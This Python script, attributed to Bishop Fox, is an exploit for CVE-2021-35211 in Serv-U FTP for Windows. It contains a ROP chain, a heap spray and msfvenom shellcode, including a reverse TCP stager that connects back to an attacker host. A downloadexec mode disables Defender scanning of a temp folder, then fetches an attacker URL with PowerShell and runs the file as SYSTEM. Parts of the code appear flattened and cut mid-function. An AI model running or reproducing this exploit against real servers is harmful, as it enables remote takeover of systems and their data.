#!/usr/bin/env python3 ''' Author: 0xhaggis @ Bishop Fox URL: https://github.com/0xhaggis/CVE-2021-35211 Date: Nov 2021 Purpose: Exploit for CVE-2021-35211, a memory corruption vulnerability in Serv-U FTP for Windows, allowing remote code execution. Notes: - This exploit doesn't always work first time. Try multiple runs if you're not getting results. - The Serv-U daemon will often crash after successfully running shellcode. In "command exec" mode this exploit will automatically restart the Serv-U process once its finished, minimizing impact. Users will be disconnected if there are active sessions on the server. - In "shellcode stager" and "download / exec" modes, this exploit will NOT restart the service and it's on you to do so by running "net start serv-u". - Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Usage: python3 CVE-2021-35211.py -h python3 CVE-2021-35211.py exec -h python3 CVE-2021-35211.py stage -h python3 CVE-2021-35211.py downloadexec -h ''' import socket import struct import sys import time import argparse ## ## TBD support for multiple versions of Serv-U ## Currently hard-coded for SSH-2.0-Serv-U_15.2.3.717 ## versions = { "SSH-2.0-Serv-U_15.1.5.10" : { "ROP_thing" : 0xdeadbeef, "ROP_stuff" : 0x11223344 }, "SSH-2.0-Serv-U_15.2.3.717" : { "ROP_thing" : 0xdeadbeef, "ROP_stuff" : 0x11223344 }, "SSH-2.0-Serv-U_15.x.y.z" : { "ROP_thing" : 0xdeadbeef, "ROP_stuff" : 0x11223344 } } ## ## Useful ROP gadgets that we'll use to build a ROP chain ## ROP_stack_pivot = 0x18010391a # mov rsp, r11 ; pop r14 ; ret ROP_int3 = 0x180017ddf # int 3; ret 0 ROP_nop = 0x180168730 # nop ; ret ROP_jmp_rax = 0x000000018016fcd6 # jmp rax ROP_jmp_qword_ptr_rax = 0x18016f135 # jmp qword ptr [rax] ROP_call_rbx_dref = 0x0000000180174a47 # call qword ptr [rbx] ROP_push_rax = 0x1803212e0 ROP_push_rsi = 0x18007bf01 ROP_push_rbp_pop_rax = 0x000000018001d80b # push rbp ; pop rax ; add byte ptr [rax], al ; ret ROP_push_rax_pop_rbx = 0x00000001800d243d # push rax ; pop rbx ; ret ROP_push_rbp_pop_rbx = 0x180126d6f # push rbp ; add dword [rax], eax ; add rsp, 0x20 ; pop rbx; ret ROP_pop_rbp_pop_rbx = 0x1801c27fd # pop rbp ; pop rbx ; ret ROP_pop_rsp_pop_rdi = 0x1801a0e71 ROP_pop_rdx = 0x0000000180085223 ROP_pop_rbx = 0x000000018009290b ROP_pop_rax = 0x0000000180037f84 ROP_pop_rcx = 0x00000001801785c3 ROP_pop_rdi = 0x000000018007350c ROP_pop_r8 = 0x00000001800bb739 ROP_pop_r15 = 0x18007e137 ROP_mov_rax_r11 = 0x0000000180105dc9 # mov rax, r11 ; ret ROP_mov_rax_rdx = 0x000000018001bd00 # mov rax, rdx ; ret ROP_mov_rcx_rax = 0x180050922 # mov rcx, rax ; cvttsd2si rax, xmm0 ; add rax, rcx ; add rsp, 0x28 ; ret ROP_mov_rax_ptr_rbx = 0x0000000180155494 # mov rax, qword ptr [rbx + 0x20] ; add rsp, 0x20 ; pop rbx ; ret ROP_mov_rax_ptr_rax = 0x000000018001c75e # mov rax, qword ptr [rax] ; add rsp, 0x20 ; pop rbx ; ret ROP_mov_ptr_rbx_rax = 0x000000018013f1c4 # mov qword ptr [rbx], rax ; add rsp, 0x20 ; pop rbx ; ret ROP_mov_ptr_rcx_rax = 0x180195c63 ROP_mov_ptr_rdx_rax = 0x180050e84 # perfect #ROP_mov_ptr_rdx_rax = 0x1800af71f # mov qword ptr [rdx], rax ; mov rax, rdx ; ret ROP_xchg_rax_r9 = 0x0000000180048d6f # xchg rax, r9 ; adc al, 0 ; add rsp, 0x38 ; ret ROP_xchg_eax_ebx_add_rsp = 0x00000001800d4bc6 # xchg eax, ebx ; retf 0x56 ROP_xchg_eax_ebx = 0x00000001800d4bc6 # xchg eax, ebx ; ret ROP_xchg_eax_esp = 0x000000018004d90b # xchg eax, esp ; ret ROP_add_rax_rcx = 0x0000000180170ef5 # add rax, rcx ; ret ROP_add_rax_rdx = 0x0000000180170f4a # add rax, rdx ; ret ROP_add_rsp_0x28 = 0x00000001800811ce # adc al, 0 ; add rsp, 0x28 ; ret ROP_sub_rax_8 = 0x18004e2a4 # sub rax, 8 ; ret ROP_xor_al_al = 0x1800be59f ## ## Stuff we need to glue it all together ## # from servu-u.dll version 15.2.3.717 writable_mem = 0x1803f2a80 # empty 8 bytes in .data writable_mem2 = 0x1803f2a90 # empty 8 bytes in .data imp_sleep = 0x00000001801c9428 imp_LoadLibraryW = 0x1801c9598 imp_GetCurrentProcessId = 0x1801c9400 imp_GetCurrentThreadId = 0x1801c92a0 imp_GetModuleHandleW = 0x1801c92c8 imp_GetProcAddress = 0x1801c9590 # from kernel32.dll on fully-patched Windows Server 2022 Datacenter as of 10/22/2021 offs_GetCurrentProcessID = 0x5B765 offs_VirtualProtect = 0x5B10 offs_VirtualProtect_string = 0x110 #offs_NOP_sled = 576 offs_NOP_sled = 1200 offs_NOP_sled_padding = 256 # our rop buffer that will be filled with a fake stack of rop gadgets. alloc_size = 0x108 totalBufSize = 2500 rop = bytearray(alloc_size+totalBufSize); # some constants ROP_r9_offset = 0xf8 # offset in our payload that will populate register r9 prior to "call r9" ropOffs = 0 connect_timeout = 8 spray_count = 64 wstr_kernel32 = 0x180313230 ## ## Helpers ## # write the QWORD (64 bits) 'qw' to offset 'o' in the rop buffer in little-endian byte order def write_qw(o, qw): rop[o:o+8] = struct.pack('stream.ctr allways NULL and execute CRYPTO_ctr128_encrypt_ctr function, which does "call r9" write_qw(0x100, 0x00 * 8) # Ensure a pointer to our first gadget is 16 bytes into the payload write_qw(0x10, ROP_stack_pivot) write_qw(ROP_r9_offset, ROP_stack_pivot) ## ## Populate the rop payload buffer with shellcode. It was made with msfvenom, for example: ## ## msfvenom --smallest -p windows/x64/meterpreter/reverse_tcp LHOST=192.153.76.22 LPORT=80 EXITFUNC=none -f c ## print("[+] Adding shellcode") # If the attribute "stageHost" is present in the commandline args then we're running in shellcode staging mode. # Ensure that the specified host resolves to an IP if hasattr(args, "stageHost"): try: stageServerIP = socket.gethostbyname(args.stageHost) except: print("Error! Could not resolve host '%s'!" % args.stageHost) exit() shellcode = ( # msf stager pulls from tcp://stageServerHost:stageServerPort with exitfunc = none, encoding = none b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" b"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" b"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" b"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" b"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" b"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" b"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" b"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" b"\x49\xbc\x02\x00" b"PP" # connect-back port @ offs 244 b"HHHH" # connect-back IP address @ offs 246 b"\x41\x54\x49\x89\xe4" b"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" b"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" b"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5" b"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" b"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41" b"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41" b"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8" b"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40" b"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5" b"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41" b"\xff\xe7\x58" ) # calculate the relevant offsets for patching IP:port into the shellcode offs = offs_NOP_sled+offs_NOP_sled_padding + 267 # magic portOffs = offs + 244 # not magic hostOffs = offs + 246 # patch the shellcode into our ROP chain / shellcode buffer rop[offs:] = shellcode # patch the staging server's IP:port into the shellcode rop[portOffs:portOffs+2] = struct.pack(">H", args.stagePort) # pack in the port rop[hostOffs:hostOffs+4] = socket.inet_aton(stageServerIP) # pack in the IP else: # We're in either downloadexec or exec mode. cmd = '' # If the 'url' attribute is present in the command-line args then we're in downloadexec mode. if hasattr(args, 'url'): cmd = "cmd /C \"@powershell -Command \"& {Add-MpPreference -ExclusionPath c:\\windows\\temp}\" & @powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('" + args.url + "','c:\\windows\\temp\\bishopfox.exe') & start /B c:\\windows\\temp\\bishopfox.exe & timeout 5 & start /b /wait net stop serv-u & timeout 5 & net start serv-u\"" # If the 'command' attribute is present in the command-line args then we're in exec mode. elif hasattr(args, 'command'): if args.noRestart: cmd = 'cmd /C ' + args.command else: cmd = 'cmd /C "' + args.command + ' & start /b /wait net stop serv-u & timeout 5 & net start serv-u"' # If we get here then something broke else: print("[!] wtf, error error") exit() # Populate ROP buffer with msfvenom command exec shellcode. # Runs as 'NT AUTHORITY\SYSTEM' on the Serv-U server. # exitfunc=thread shellcode = ( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" b"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5" ) rop[offs_NOP_sled+offs_NOP_sled_padding+267:] = shellcode + cmd.encode() + b"\x00" ## ## Construct full payload that will be sent to Serv-U ## spray = struct.pack('>IBBH', alloc_size, 5, 99, 0) + rop ## ## Showtime! Send the exploit payload to the Serv-U server ## # Spray the payload into as many threads as we can on the target try: print("[+] Spraying Serv-U-FTP server @ %s:%d" % (args.targetHost, args.targetPort)) for i in range(spray_count): sprayStatus(i) client = connect_to_server(args.targetHost, args.targetPort) client.send(b'SSH-2.0-\r\n' + spray) client.close() except: print("[!] Failed during spray operation.") exit() # Spray complete. Now trigger the bug and hope we hit our sprayed payload print("[+] Sending exploit trigger payload...") client = connect_to_server(args.targetHost, args.targetPort) client.send(b'SSH-2.0-Serv-U-PoC_0.2\r\n') # pretend to be a regular ssh client #client.send(b'SSH-2.0-OpenSSH-8.1\r\n') # pretend to be a regular ssh client time.sleep(0.1) client.recv(65535) #key Exchange Init client.send(b'\x00\x00\x00\x76\x00\x14\x3B\xBC\x34\x64\xDC\xB4\x1C\xB6\x23\x3F\x54\x34\xE5\x1F\xD4\x30\x00\x00\x00\x12' b'ecdh-sha2-nistp256\x00\x00\x00\x07ssh-rsa\x00\x00\x00\x0Aaes128-ctr\x00\x00\x00\x04none\x00\x00\x00\x04' b'none\x00\x00\x00\x04none\x00\x00\x00\x04none\x00\x00\x00\x04none\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') client.send(b'\x00\x00\x00\x0c\x00\x15') # New Keys client.send(b'SSH-2.0-\r\n' + spray) client.close() ## ## If we get here then there's a chance we pwned the server ## print("[+] Done! Sometimes it takes a few runs to work - try again if it failed.") ## EOF